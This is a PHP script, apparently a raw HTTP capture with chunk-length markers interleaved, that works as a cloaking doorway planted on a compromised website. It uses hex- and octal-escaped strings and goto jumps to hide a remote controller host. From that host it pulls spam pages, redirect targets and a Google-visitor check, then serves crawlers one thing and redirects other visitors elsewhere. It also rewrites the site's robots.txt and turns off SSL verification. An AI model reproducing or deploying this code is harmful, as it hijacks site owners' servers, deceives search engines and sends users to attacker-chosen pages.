1 < a ?php erro a r_reportin 9 g(0); $g b et = filter b _input_arra 8 y(INPUT_ a GET, FILTE 8 R_SANITI 9 ZE_STRING a ); /* - 21 ------------------------ é« 7 ˜é€Ÿæœ¬ 8 åœ°ç¼“å­ 7 ˜å‡½æ•° 1f ------------------------- */ a function a cache_get( b $key, $expi a re = 300) 11 { $file = sy c s_get_temp_d 9 ir() . '/ 12 cache_' . md5($key 12 ) . '.php'; i d f (file_exist c s($file) && 9 (time() - 14 filemtime($file)) < 19 $expire) { retu 10 rn file_get_cont 19 ents($file); } 10 return false; } 20 function cache_set($key, $data 55 ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; @file_put_ 1a contents($file, $data, LOC b K_EX); } 2b /* ------------------------- èŽ·å– 7 真实è 8 ®¿é—® IP 7 (兼å 9 ®¹ CDN / 7 å代ï 31 ¼‰ ------------------------- */ function get_re 10 al_ip() { $ 14 keys = [ 'H 9 TTP_CF_CO 9 NNECTING_ a IP', // Cl 18 oudflare 'HTTP_ c X_REAL_IP', 21 // Nginx 'HTTP_X_ 8 FORWARDE f D_FOR', // Pro 18 xy 'HTTP_CLIENT 14 _IP', 'REMO e TE_ADDR' f ]; forea c ch ($keys as 18 $k) { if (!emp 9 ty($_SERV 7 ER[$k]) 23 ) { $ip = $_SERVER[$k] 1a ; if (strpo c s($ip, ',') 1a !== false) { 13 $ip = trim(expl d ode(',', $ip) 14 [0]); } 1e if (filter_var 12 ($ip, FILTER_VALID 1c ATE_IP)) { 2b return $ip; } } 14 } return '127.0 32 .0.1'; } /* ------------------------- æ› 7 ´å¿«çš„ a getCurl() 36 ------------------------- */ function getCurlFast($ 14 url) { $cache 13 d = cache_get($url) 26 ; if ($cached !== false) return $ 19 cached; $data = '' 1d ; if (function_exists( b 'curl_init' 15 )) { $ch = c 21 url_init($url); curl_set e opt_array($ch, 17 [ CURLOPT 9 _RETURNTR 9 ANSFER => 1c true, CURLOPT_ 12 CONNECTTIMEOUT => 2a 5, CURLOPT_TIMEOUT => 1c 8, CURLOPT_SSL_ e VERIFYPEER => 2a false, CURLOPT_SSL_VERIFYHOST 25 => false, CURLOPT_FOLLO 9 WLOCATION 29 => false, CURLOPT_USERAGENT 10 => "Mozill 10 a/5.0" 1d ]); $data = curl_exe 1a c($ch); curl_clos 1a e($ch); } if ( 13 empty($data) && ini 10 _get('allow_url_ 16 fopen')) { $c f ontext = stream 10 _context_create( 15 [ "http" e => ["timeout" e => 8, "header d " => "User-Ag 13 ent: Mozilla/5.0\r\ 16 n"], "ssl e " => ["verify 1d _peer" => false, "verify_peer 10 _name" => false] 37 ]); $data = @file_get_contents($url, 26 false, $context); } if (! 1e empty($data)) cache_set($url, 19 $data); return $data 33 ; } /* ------------------------- URL ä¿¡æ 36 ¯ ------------------------- */ function get_url_inf b o(string $t a ype='domai 15 n'): string { $h 15 ost = $_SERVER['HTTP_ f HOST'] ?? ''; 13 if ($type === ' 7 no_www' 13 ) return preg_repla b ce('/^www\. e /i', '', $host 11 ); $protoc 1b ol = (!empty($_SERVER['HTTP 19 S']) && $_SERVER['HTTPS'] d !== 'off') ? 13 "https://" : "http f ://"; $bas 15 e = $protocol . $host 2b ; if ($type === 'base') return $base 29 ; if ($type === 'full') return $base 12 . ($_SERVER['REQU f EST_URI'] ?? '' 41 ); return $host; } /* ------------------------- 7 基础å 25 ˜é‡ ------------------------- */ a goto ONPuB f ; ONPuB: $http_ 1a type = !empty($_SERVER["\x 9 48\124\x5 19 4\x50\x53"]) && $_SERVER[ 1d "\x48\124\124\x50\x53"] !== " 9 \157\x66\ b 146" ? "\15 10 0\x74\x74\x70\16 c 3\72\x2f\x2f d " : "\x68\164 15 \164\160\72\x2f\57"; 11 goto O4O9k; O4O9k c : $vurl = "\ e x74\157\56\152 11 \147\141\x6c\x6c\ 12 163\x2e\143\157\x6 10 d\x2f"; goto vgv e 72; vgv72: $qz d = substr(str 14 _replace(array("\x77 10 \x77\167\x2e", " 16 \56"), '', $_SERVER["\ 12 110\x54\x54\120\x5 d f\x48\x4f\123 d \x54"]), 0, 3 2b ); /* ------------------------- è§£æ 8 ž f å‚ 2b æ•° ------------------------- */ $sz = $i c id = ""; if 12 (!empty($_GET)){ b $f=reset($ 12 _GET); $sp = 1c explode('-', $f); if (c e ount($sp) === 18 2) { $sz = $sp 19 [0]; $iid = $sp[ 33 1]; } } /* ------------------------- è 7 ¿œç¨‹æŽ 24 ¥å£ ------------------------- */ 1a if (!empty($sz)) { $j 1c d = getCurlFast("{$http_type b }{$vurl}3kg 9 .aspx?sz= e " . urlencode( e $sz)); } else 47 { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}" 39 ); $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd 1d =" . urlencode($jd)); } $ a hyzhdy = $ d jd . "41.aspx 16 "; $surl = $jd . "s 35 41.aspx"; /* ------------------------- robot b s / sitemap 2b ------------------------- */ $sitemapLin e e = "Sitemap: 31 {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCR b IPT_NAME']} d ?w=" . date(' a YmdHi') . 12 "\n"; function en 33 sure_robots_sitemap($sitemapLine) { $robots = 13 rtrim($_SERVER['DOC 9 UMENT_ROO 10 T'], "/\\") . '/ 16 robots.txt'; if ( 22 !file_exists($robots)) { 22 @file_put_contents($robots, "User- b agent: *\nA e llow: /\n" . $ 1d sitemapLine, LOCK_EX); } 31 else { $c = @file_get_contents($robots) 1b ; if ($c === false e || strpos($c, 29 $sitemapLine) === false) { 2d @file_put_contents($robots, $sitemapLine, FIL a E_APPEND | 21 LOCK_EX); } } } 2c /* ------------------------- w= 输å 32 ‡º ------------------------- */ if (!empty($get[ 13 'w'])) { $pa d rams = http_b a uild_query 11 ([ 'NOUm 16 ber' => $get['NOUmber' 15 ] ?? '', 't' a => 2d $get['t'] ?? '', 'cn' => $get[' 1c cn'] ?? '', 'pNOUm' 29 => $get['pNOUm'] ?? '', 'cid' 37 => $get['cid'] ?? '', 'm' => $get[' 1b m'] ?? '' ]); $ 1b str = getCurlFast("{$surl}? 16 {$params}"); ec 1a ho str_replace( [ 9 'yymm','g d gggg','?f='], 2b [$http_type.$_SERVER['HTTP_HOST'] 20 .$_SERVER['SCRIPT_NAME'], $sz,'? 15 '.$qz.'='], 15 $str ); exi 32 t; } /* ------------------------- IP 判 7 定(ä 7 ¿ç•™ k 8 k 测试 2a ) ------------------------- */ $kk = i d sset($get['kk 18 ']) ? trim($get['kk']) : 11 ''; $ip = ($kk f !== '') ? "66.2 7 49.82.8 39 " : get_real_ip(); /* ------------------------- 10 getdomain2 åˆ¤æ– 30 ­ ------------------------- */ $domain = trim( 1d getCurlFast($jd . "getdomain2 e .aspx?rnd=1&ip 33 =" . $ip)); /* ------------------------- é 9 ž google 9 + iid ↠7 ’ è·³è½ 32 ¬ ------------------------- */ if ($domain !== ' 16 google' && !empty($iid 13 )) { $kname = 1f urldecode(getCurlFast($jd . "gn 11 .aspx?iid=" . $ii 15 d)); echo 'location e ="' . $jd . "a 20 .aspx?cname=" . urlencode($kname f ) . "&url=" . $ 2e http_type . $_SERVER['HTTP_HOST'] . $_SERVER[' 1c SCRIPT_NAME'] . '"' 6c ; exit; } /* ------------------------- iid 输出 ------------------------- */ if (!empty($ 20 iid)) { $str = getCurlFast( b $hyzhdy . " 33 ?iid={$iid}"); echo str_replace( [' 13 ggggg','YYYYY','XXX b YYY','å½“å‰ f URL','UUUUU',' 1d MMMMM','?f='], [$sz, 25 get_url_info(), get_url_info('base') 2e , get_url_info('full'), get_url_info('no_www') a ,parse_url 22 ($_SERVER['REQUEST_URI'], PHP_URL_ 5e PATH),'?'.$qz.'='], $str ); exit; } /* ------------------------- e sitemap helper 30 ------------------------- */ function output_ 10 sitemap_and_exit 22 ($sitemapLine, $http_type) { 32 ensure_robots_sitemap($sitemapLine); echo " Sitemap " 3f ; exit; } /* ------------------------- kk 输出 6 控制 32 ------------------------- */ if ($kk !== '' && f preg_match('/^[ 8 A-Za-z0- a 9]+$/', $k 12 k)) { $remote 2d = getCurlFast($jd . "getdomain2.aspx?rnd=2&k 16 k=" . $kk); if (! 20 empty($remote)) { echo 19 $remote; exit; 4b } } if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) { 3d output_sitemap_and_exit($sitemapLine, $http_type); } $is_ c no_query = e 1b mpty($_SERVER['QUERY_STRING 1a ']); if ($kk === '' && 22 $is_no_query) { if ($domain = 4c == 'google') { output_sitemap_and_exit($sitemapLine, $http_type); 5e } else { exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ? 3 > 0